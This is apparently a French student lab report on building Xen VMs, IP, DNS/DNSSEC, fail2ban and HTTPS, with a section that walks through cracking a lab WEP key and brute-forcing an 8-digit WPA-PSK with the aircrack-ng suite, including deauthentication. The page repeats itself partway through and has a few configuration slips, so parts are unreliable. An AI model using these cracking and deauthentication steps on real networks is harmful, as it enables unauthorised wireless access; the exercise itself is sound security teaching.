Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:

<syntaxhighlight lang="shell">
mount /dev/xvdb1 /mnt
</syntaxhighlight>

On copie les données et on démonte le fichier copié:

<syntaxhighlight lang="shell">
mv /var/* /mnt
unmount /mnt
</syntaxhighlight>

Nous pouvons maintenant observer les changement:

<syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

=IP=
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:

==VM de service==

Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.

Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:

L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :

<syntaxhighlight lang="shell">
iface eth0 inet6 auto
</syntaxhighlight>

Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.

De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.

Nous complétons donc le fichier avec une adresse statique :

<syntaxhighlight lang="shell">
iface eth0 inet static
address 192.168.7.2
netmask 255.255.255.0
gateway 192.168.7.1
</syntaxhighlight>

==VM mandataire==

Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.

Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.

Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :

<syntaxhighlight lang="shell">
# The loopback network interface
auto lo
iface lo inet loopback

# Primary interface
auto eth0
iface eth0 inet static
address 192.168.7.1/24

# Second interface
auto eth1
iface eth1 inet static
address 193.48.57.170/27
gateway 193.48.57.164

iface eth1 inet6 auto
</syntaxhighlight>

== Tests ==

Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.

Voici l'état des interfaces de la machine de service RS7 :

<syntaxhighlight lang="shell">
root@rs7:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff
inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fed3:d692/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff
inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr
valid_lft 942sec preferred_lft 842sec
inet6 fe80::216:3eff:fed3:d693/64 scope link
valid_lft forever preferred_lft forever
</syntaxhighlight>

Et voici l'état des interface de la machines mandataire Garage :

<syntaxhighlight lang="shell">
root@Garage:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff
inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fee4:9c07/64 scope link
valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff
inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1
valid_lft forever preferred_lft forever
inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr
valid_lft 893sec preferred_lft 793sec
inet6 fe80::216:3eff:fee4:9c08/64 scope link
valid_lft forever preferred_lft forever
</syntaxhighlight>

=== Test de la LAN ===

Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:

[[Fichier:Ping C2.png|vignette|center|800px]]

Et voici un ping de RS7 vers Garages

[[Fichier:Ping Garage.png|vignette|center|800px]]

=== Test vers l'extérieur ===

Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.

Voici un ping de RS7 vers l'extérieur en IPv4:

[[Fichier:Ping ipv4.png|vignette|center|800px]]

Et voici un ping de RS7 vers l'extérieur en IPv6:
[[Fichier:Ipv6.png|centré|vignette|800x800px]]

=SSH=

Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.

=DNS=
==Configuration du résolveur==
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:

<syntaxhighlight lang="shell">
search plil.info
nameserver 172.26.188.12
nameserver 193.48.57.48

search rs7.online
nameserver 192.168.7.2
nameserver 192.168.7.3
</syntaxhighlight>

==Configuration des zones==
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.

<syntaxhighlight lang="shell">
zone "rs7.zone" {
type primary;
file "/etc/bind/zones/rs7.zone.signed";
allow-transfer { secondaries; };
also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };
key-directory "/etc/bind/rs7.dnssec";
dnssec-policy "dnspol";
inline-signing yes;
};

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

acl "secondaries" {
2001:660:4401:60a0:216:3eff:fed3:58ae;
2001:660:4401:60a0:216:3eff:fee4:9c08;
};

zone "c2vts.fr" {
type secondary;
file "/etc/bind/backup/c2vts.fr.zone";
primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };
};
</syntaxhighlight>

==Création et configuration du fichier .zone==
Nous avons ensuite créé et configuré le fichier rs7.zone.

<syntaxhighlight lang="shell">
$TTL 200
@ IN SOA ns.rs7.online. admin.rs7.online. (
4004 ; Version
21600 ; Refresh secondary (6h)
3600 ; Retry secondary (1h)
2592000 ; Expire if no refresh (30j)
86400 ) ; Negative cache (24h)

; Serveurs de noms
@ IN NS ns.rs7.online.
@ IN NS ns.c2vts.fr.

;Enregistrements A
@ IN A 193.48.57.170
ns IN A 193.48.57.170

;Enregistrements AAAA
@ IN AAAA 2001:660:4401:60a0:216:3eff:fed3:d693
ns IN AAAA 2001:660:4401:60a0:216:3eff:fed3:d693

;Enregistrements CNAME
www IN CNAME rs7.online.

$include "/etc/bind/rs7.dnssec/rs7.online-ksk.key"
$include "/etc/bind/rs7.dnssec/rs7.online-zsk.key"
</syntaxhighlight>

On charge la version du fichier de zone avec la commande suivante :

<syntaxhighlight lang="shell">
root@rs7:/etc/bind/zones/rs7.online# named-checkzone rs7.zone
zone rs7.zone/IN: loaded serial 4004
OK
</syntaxhighlight>

==Vérifications==
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :

named-checkzone <nom du fichier>

Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.

Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.

[[Fichier:DNS.png|vignette|center|900px]]

=DNSSEC=

==Configuration de la méthode automatique==
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:

<syntaxhighlight lang="shell">
zone "rs7" {
type primary;
file "/etc/bind/zones/rs7.zone.signed";
allow-transfer { secondaries; };
also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };
key-directory "/etc/bind/rs7.dnssec";
dnssec-policy "dnspol";
inline-signing yes;
};

dnssec-policy "dnspol" {
keys {
ksk key-directory lifetime unlimited algorithm 13;
zsk key-directory lifetime unlimited algorithm 13;
};
nsec3param;
};

acl "secondaries" {
2001:660:4401:60a0:216:3eff:fed3:58ae;
2001:660:4401:60a0:216:3eff:fee4:9c08;
};

zone "c2vts.fr" {
type secondary;
file "/etc/bind/backup/c2vts.fr.zone";
primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };
};
</syntaxhighlight>

==Génération des clés==
ensuite nous créeons le répertoire qui va acceuillir nos clés:

<syntaxhighlight lang="shell">
mkdir -p /etc/bind/keys
chown bind:bind /etc/bind/keys
chmod 700 /etc/bind/keys
</syntaxhighlight>

et nous redémarrons le service :

<syntaxhighlight lang="shell">
service named restart
</syntaxhighlight>

voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:

<syntaxhighlight lang="shell">
root@rs7:/etc/bind/rs7.dnssec# ls
Krs7.+013+14689.key Krs7.+013+57317.private rs7.online-ksk.private
Krs7.+013+14689.private Krs7.+013+57317.state rs7.online-zsk.key
Krs7.+013+14689.state dsset-rs7. rs7.online-zsk.private
Krs7.+013+57317.key rs7.online-ksk.key
</syntaxhighlight>

Nous pouvons maintenant verifier sur le site "DNSViz" le DNS de rs7.online.

= Fail2ban =

Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier <code>jail.local</code> afin d’y définir les paramètres de protection suivants :

<syntaxhighlight lang="shell">
[sshd]
enabled = true
port = ssh
filter = sshd
logpath = %(sshd_log)s
backend = %(sshd_backend)s
maxretry = 3
findtime = 600
bantime = 600
</syntaxhighlight>

Dans cette configuration :
* <code>maxretry</code> indique le nombre maximal de tentatives autorisées avant le bannissement ;
* <code>findtime</code> correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;
* <code>bantime</code> définit la durée du bannissement de l’adresse IP fautive.

La commande <code>fail2ban-client status sshd</code> permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.

<syntaxhighlight lang="shell">
root@rs7:/etc/bind# fail2ban-client status sshd
Status for the jail: sshd
|- Filter
| |- Currently failed: 0
| |- Total failed: 1
| `- File list: /var/log/auth.log
`- Actions
|- Currently banned: 0
|- Total banned: 1
`- Banned IP list:
</syntaxhighlight>

Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier <code>jail.local</code> :

<syntaxhighlight lang="shell">
[connect-refused]
enabled = true
port = domain
protocol = tcp
filter = connect-refused
logpath = /var/log/syslog
maxretry = 3
bantime = 600
findtime = 600
</syntaxhighlight>

Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire <code>filter.d</code>, nommé <code>connect-refused.conf</code>, afin de définir les motifs de requêtes TCP à bloquer :

<syntaxhighlight lang="shell">
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf
[Definition]
failregex = .* client_ip=<HOST>.*(NXDOMAIN|SERVFAIL|REFUSED).*
ignoreregex =
</syntaxhighlight>

Enfin, la commande <code>fail2ban-client status connect-refused</code> permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.

<syntaxhighlight lang="shell">
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused
Status for the jail: connect-refused
|- Filter
| |- Currently failed: 0
| |- Total failed: 0
| `- File list: /var/log/syslog
`- Actions
|- Currently banned: 0
|- Total banned: 0
`- Banned IP list:
</syntaxhighlight>

=HTTPS=
==Installation d'Apache2==
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :
<syntaxhighlight lang="shell">
aptitude install apache2
</syntaxhighlight>

Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :
<syntaxhighlight lang="shell">
a2enmod ssl
</syntaxhighlight>

==Activation du port HTTPS==
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :
<syntaxhighlight lang="shell">
root@rs7:~# cat /etc/apache2/ports.conf
# Port HTTP classique
Listen 80

# Port HTTPS
<IfModule ssl_module>
Listen 443
</IfModule>

<IfModule mod_gnutls.c>
Listen 443
</IfModule>
</syntaxhighlight>

==Configuration du certificat SSL==
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :
<syntaxhighlight lang="shell">
/etc/ssl/certs/rs7.online.crt : Certificat SSL
/etc/ssl/private/rs7.online.key : Clé privée
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire
</syntaxhighlight>

==Configuration du domaine sécurisé==
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :
<syntaxhighlight lang="shell">
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf
<VirtualHost *:80>
ServerName rs7.online.
ServerAlias www.rs7.online.
Redirect permanent / https://rs7.online/
</VirtualHost>

<VirtualHost *:443>

ServerName rs7.online.
DocumentRoot /var/www/rs7.online/
CustomLog /var/log/apache2/secure_access.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/rs7.online.crt
SSLCertificateKeyFile /etc/ssl/private/rs7.online.key
SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem
SSLVerifyClient None
ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/
ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/
SSLProxyEngine on
<Directory /var/www/rs7.online>
AllowOverride All
Require all granted
</Directory>
ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log
CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined

</VirtualHost>
</syntaxhighlight>

==Vérification du certificat SSL==
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :
<syntaxhighlight lang="shell">
c_rehash /etc/ssl/certs
</syntaxhighlight>

Notre page web est maintenant accessible via http://rs7.online .

= Effraction Wi-Fi =

== Cassage de clef WEP d’un point d’accès WiFi ==

L’objectif de cette manipulation est de démontrer expérimentalement la vulnérabilité du protocole WEP (Wired Equivalent Privacy) en réalisant une attaque par analyse statistique des vecteurs d’initialisation (IV).

* BSSID du point d’accès cible : '''00:14:BF:63:1E:42'''
* Canal utilisé : '''11'''

=== Passage de l’interface en mode monitor ===

Afin de capturer les trames 802.11 brutes, l’interface Wi-Fi est placée en mode monitor :

<syntaxhighlight lang="bash">
airmon-ng start wlan0
</syntaxhighlight>

Cette commande crée une interface dédiée permettant l’écoute passive du trafic Wi-Fi.

=== Identification du réseau cible ===

Scan des réseaux protégés en WEP :

<syntaxhighlight lang="bash">
airodump-ng --encrypt WEP wlan0mon
</syntaxhighlight>

Le réseau cible identifié présente les caractéristiques suivantes :

=== Capture du trafic ===

Capture ciblée du point d’accès :

<syntaxhighlight lang="bash">
airodump-ng --channel 11 \
--bssid 00:14:BF:63:1E:42 \
--write capture_wep \
wlan0mon
</syntaxhighlight>

Cette étape permet d’accumuler les trames chiffrées nécessaires à l’analyse statistique.

=== Authentification d’une adresse MAC d’injection ===

Pour permettre l’injection de trafic, une adresse MAC locale est associée au point d’accès :

<syntaxhighlight lang="bash">
aireplay-ng --fakeauth 0 \
-a 00:14:BF:63:1E:42 \
-h 02:11:22:33:44:55 \
wlan0mon
</syntaxhighlight>

* -a : BSSID réel du point d’accès
* -h : adresse MAC utilisée pour l’injection
* --fakeauth 0 : authentification Open System

Résultat : authentification et association réussies.

=== Génération de trafic ARP (rejeu) ===

Afin d’accélérer l’accumulation d’IV :

<syntaxhighlight lang="bash">
aireplay-ng --arpreplay \
-b 00:14:BF:63:1E:42 \
-h 02:11:22:33:44:55 \
wlan0mon
</syntaxhighlight>

Le rejeu massif de requêtes ARP entraîne une augmentation rapide du nombre de trames de données capturées.

=== Désauthentification d’un client ===

Pour provoquer l’émission de nouvelles requêtes ARP :

<syntaxhighlight lang="bash">
aireplay-ng --deauth 5 \
-a 00:14:BF:63:1E:42 \
wlan0mon
</syntaxhighlight>

Cette action force les stations à se reconnecter, générant du trafic exploitable.

=== Cassage de la clé ===

Lorsque le nombre d’IV atteint environ 45 000 :

<syntaxhighlight lang="bash">
aircrack-ng capture_wep-01.cap
</syntaxhighlight>

Résultat obtenu :

[[Fichier:Cracotte08.png|800px|vignette|centré]]

- Nombre d’IV exploités : ~44 687
- Clé récupérée : FF:FF:FF:FF:FF:FA:BC:09:CB:AE:EE:EE:EE:EE
- Taux de déchiffrement : 100 %

Cette expérimentation démontre que le protocole WEP ne fournit plus aucun niveau de sécurité acceptable.

La récupération complète de la clé avec un volume relativement faible de trafic confirme son obsolescence et justifie son abandon au profit de mécanismes plus robustes tels que WPA2-Enterprise ou WPA3.

== Cassage de mot de passe WPA-PSK par force brute ==

=== Identification du réseau cible ===

L’analyse des réseaux sans fil environnants a été réalisée à l’aide de l’outil <code>airodump-ng</code> en mode moniteur afin d’identifier le point d’accès Wi-Fi correspondant.

<syntaxhighlight lang="bash">
sudo airodump-ng wlan1mon
</syntaxhighlight>

<code>wlan1mon</code> correspond à l’interface Wi-Fi placée en mode moniteur.

Le réseau cible identifié possède les caractéristiques suivantes :

{| class="wikitable"
! Paramètre !! Valeur
|-
| ESSID || kracotte08
|-
| BSSID || 44:AD:D9:5F:87:07
|-
| Canal || 13
|-
| Chiffrement || WPA2
|-
| Authentification || PSK
|-
| Puissance signal || -38 dBm
|}

Une station cliente connectée a également été détectée :

* Adresse MAC : 40:A5:EF:01:25:8B

=== Capture du handshake WPA ===

Afin de récupérer le four-way handshake WPA nécessaire au cassage du mot de passe, une capture ciblée du trafic a été lancée.

<syntaxhighlight lang="bash">
sudo airodump-ng -c 13 --bssid 44:AD:D9:5F:87:07 -w kracotte_capture wlan1mon
</syntaxhighlight>

* <code>-c 13</code> : écoute sur le canal du point d’accès.
* <code>--bssid</code> : filtrage du réseau cible uniquement.
* <code>-w</code> : sauvegarde des paquets capturés.
* <code>wlan1mon</code> : interface en mode moniteur.

Cette commande enregistre les échanges d’authentification nécessaires à l’attaque.

===Forçage de la reconnexion des clients ===

Pour provoquer une nouvelle phase d’authentification WPA et générer un handshake, une attaque de désauthentification a été réalisée.

<syntaxhighlight lang="bash">
sudo aireplay-ng -0 10 -a 44:AD:D9:5F:87:07 wlan1mon
</syntaxhighlight>

* <code>-0 10</code> : envoi de 10 trames de désauthentification.
* <code>-a</code> : BSSID du point d’accès cible.

Cette opération force les stations connectées à se reconnecter automatiquement, générant normalement un handshake WPA observable dans <code>airodump-ng</code>.

Sortie observée :

<pre>
Sending DeAuth (code 7) to broadcast -- BSSID: [44:AD:D9:5F:87:07]
</pre>

=== Absence de capture du handshake ===

Malgré l’envoi répété de trames de désauthentification, aucun message indiquant :

<pre>
WPA handshake: 44:AD:D9:5F:87:07
</pre>

n’est apparu dans la fenêtre de capture.

Cet échec s’explique par le fait que la machine utilisée pour réaliser l’attaque était située à une distance trop importante du point d’accès, entraînant une perte de paquets lors de la phase d’authentification. L’expérimentation a ensuite été répétée sur une machine positionnée plus près du point d’accès, ce qui a permis la capture correcte du handshake WPA et le bon déroulement de la procédure.

Selon l’énoncé du TP, le mot de passe WPA est supposé être un nombre composé de huit chiffres, nous faisons cette commande:

<syntaxhighlight lang="bash">
seq -w 00000000 99999999 > dictionnaire.txt
</syntaxhighlight>

pour générer un fichier contenant toute les combinaisons numérique à 8 chiffres.

=== Tentative de cassage du mot de passe ===

La commande suivante permet de lancer l’attaque par dictionnaire :

<syntaxhighlight lang="bash">
aircrack-ng -w dictionnaire.txt kracotte_capture-01.cap
</syntaxhighlight>

Cette expérimentation met en évidence une amélioration significative du niveau de sécurité apporté par WPA2. Toutefois, la robustesse globale du système reste directement dépendante de la complexité du mot de passe utilisé. Une clé numérique simple demeure vulnérable à une attaque par dictionnaire exhaustive.

= Sécurisation WiFi par WPA2-EAP =

== Objectif ==

L’objectif de cette partie est de sécuriser l’accès au réseau WiFi en utilisant le mécanisme
d’authentification WPA2-Enterprise (WPA2-EAP).
Contrairement au WPA-PSK, l’authentification repose ici sur un serveur centralisé
FreeRadius permettant une authentification individuelle des utilisateurs.

L’infrastructure repose sur :
* un VLAN personnel dédié ;
* une redondance des routeurs via VRRP ;
* un serveur FreeRadius installé sur la machine virtuelle de services.

---

== Accès aux équipements réseau ==

La connexion aux routeurs et bornes WiFi Cisco est réalisée via SSH :

<syntaxhighlight lang="bash">
ssh -o KexAlgorithms=diffie-hellman-group-exchange-sha1,\
diffie-hellman-group14-sha1,\
diffie-hellman-group1-sha1 \
-o HostKeyAlgorithms=ssh-rsa \
-c aes128-cbc,3des-cbc,aes192-cbc,aes256-cbc,\
aes128-ctr,aes192-ctr,aes256-ctr \
admin@172.27.0.2
</syntaxhighlight>

=== Adressage des équipements ===

{| class="wikitable"
! Equipement !! Adresse IP
|-
| Routeur C9200 E304 || 172.27.0.1
|-
| Routeur C9200 E306 || 172.27.0.2
|-
| Borne WiFi E306 || 172.27.0.3
|-
| Borne WiFi E304 || 172.27.0.4
|}

---

== Création du VLAN personnel ==

Le VLAN personnel attribué est le VLAN '''18'''.

=== Sur les deux routeurs ===

<syntaxhighlight lang="bash">
conf t
vlan 18
name VLAN_YASSINE
exit
</syntaxhighlight>

---

== Configuration des interfaces VLAN ==

=== Routeur principal (E304) ===

<syntaxhighlight lang="bash">
interface vlan 18
ip address 10.60.8.2 255.255.255.0
vrrp 18 address 10.60.8.1
vrrp 18 priority 110
vrrp 18 preempt
no shutdown
</syntaxhighlight>

---

=== Routeur secondaire (E306) ===

<syntaxhighlight lang="bash">
interface vlan 18
ip address 10.60.8.3 255.255.255.0
vrrp 18 address 10.60.8.1
vrrp 18 priority 100
vrrp 18 preempt
no shutdown
</syntaxhighlight>

L’adresse virtuelle '''10.60.8.1''' constitue la passerelle par défaut des clients WiFi.

---

== Configuration DHCP ==

Le serveur DHCP est réparti entre les deux routeurs.

=== Routeur E304 ===

<syntaxhighlight lang="bash">
ip dhcp pool PoolYassine-A
network 10.60.8.0 255.255.255.0
default-router 10.60.8.1
dns-server 192.168.7.2
address range 10.60.8.100 10.60.8.150
</syntaxhighlight>

---

=== Routeur E306 ===

<syntaxhighlight lang="bash">
ip dhcp pool PoolYassine-B
network 10.60.8.0 255.255.255.0
default-router 10.60.8.1
dns-server 192.168.7.2
address range 10.60.8.151 10.60.8.200
</syntaxhighlight>

---

== Routage vers la machine mandataire (PBR) ==

Le trafic IPv4 du VLAN personnel est redirigé vers la machine mandataire.

<syntaxhighlight lang="bash">
access-list 101 permit ip 10.60.8.0 0.0.0.255 any

route-map PBR-YASSINE permit 10
match ip address 101
set ip next-hop 192.168.7.1
</syntaxhighlight>

Application :

<syntaxhighlight lang="bash">
interface vlan 18
ip policy route-map PBR-YASSINE
</syntaxhighlight>

---

== Configuration du serveur FreeRadius ==

Sur la machine virtuelle de services (192.168.7.2) :

Installation :

<syntaxhighlight lang="bash">
apt install freeradius freeradius-utils
</syntaxhighlight>

Ajout du point d’accès WiFi :

Atelier SysRes SE4 2025/2026 E8

2026-02-25T17:24:08Z

Yyahiani :

=Création du pont et des VM=

== Création du pont: ==
Dans capbreton, dans <code>/etc/network/interfaces</code> on renseigne notre pont <code>pontclio</code>
<syntaxhighlight>
auto pontclio
iface pontclio inet manual
bridge_ports none
up ip link set $IFACE up
down ip link set $IFACE down
</syntaxhighlight>

==Partitions==
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :

<syntaxhighlight lang="shell">
xen-create-image --hostname=SE4.RS7 --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=pontclio
</syntaxhighlight>

Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.RS7.cfg:

<syntaxhighlight lang="shell">
phy:/dev/virtual/SE4.RS7-home,xvdb1,w,
phy:/dev/virtual/SE4.RS7-var,xvda3,w,
</syntaxhighlight>

Pour démarrer notre VM nous exécutons la commande suivante:

<syntaxhighlight lang="shell">
xen create SE4.RS7.cfg
</syntaxhighlight>

Ensuite nous pouvons vérifier si la VM est démarrée avec:

<syntaxhighlight lang="shell">
xen list
</syntaxhighlight>

Par la suite nous nous connectons à la VM de cette manière:

<syntaxhighlight lang="shell">
xen console SE4.RS7
</syntaxhighlight>

Ensuite créer les partitions <code>var</code> et <code>home</code>:
<syntaxhighlight>
lvcreate -L10G -nSE4.RS7.home virtual
lvcreate -L10G -nSE4.RS7.var virtual
</syntaxhighlight>

Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:

<syntaxhighlight lang="shell">
/dev/xvda3 /var ext4 defaults 0 2
/dev/xvdb1 /home ext4 defaults 0 2
</syntaxhighlight>

Et nous formatons ces disk avec ces deux commandes:

<syntaxhighlight lang="shell">
mkfs -t ext4 /dev/xvda3
mkfs -t ext4 /dev/xvdb1
</syntaxhighlight>

Il faut maintenant Mount les fichiers à implémenter le /var, or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:

<syntaxhighlight lang="shell">
mount /dev/xvdb1 /mnt
</syntaxhighlight>

On copie les données et on démonte le fichier copié:

<syntaxhighlight lang="shell">
mv /var/* /mnt
unmount /mnt
</syntaxhighlight>

Nous pouvons maintenant observer les changement:

<syntaxhighlight lang="shell">
mount -a
</syntaxhighlight>

=IP=
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:

==VM de service==

Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.

Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:

L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :

<syntaxhighlight lang="shell">
iface eth0 inet6 auto
</syntaxhighlight>

Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.

De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.

Nous complétons donc le fichier avec une adresse statique :

<syntaxhighlight lang="shell">
iface eth0 inet static
address 192.168.7.2
netmask 255.255.255.0
gateway 192.168.7.1
</syntaxhighlight>

==VM mandataire==

Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.

Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.

Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :

<syntaxhighlight lang="shell">
# The loopback network interface
auto lo
iface lo inet loopback

# Primary interface
auto eth0
iface eth0 inet static
address 192.168.7.1/24

# Second interface
auto eth1
iface eth1 inet static
address 193.48.57.170/27
gateway 193.48.57.164

iface eth1 inet6 auto
</syntaxhighlight>

== Tests ==

Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.

Voici l'état des interfaces de la machine de service RS7 :

<syntaxhighlight lang="shell">
root@rs7:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff
inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0
valid_lft forever preferred_lft forever
inet6 fe80::216:3eff:fed3:d692/64 scope link
valid_lft forever preferred_lft forever
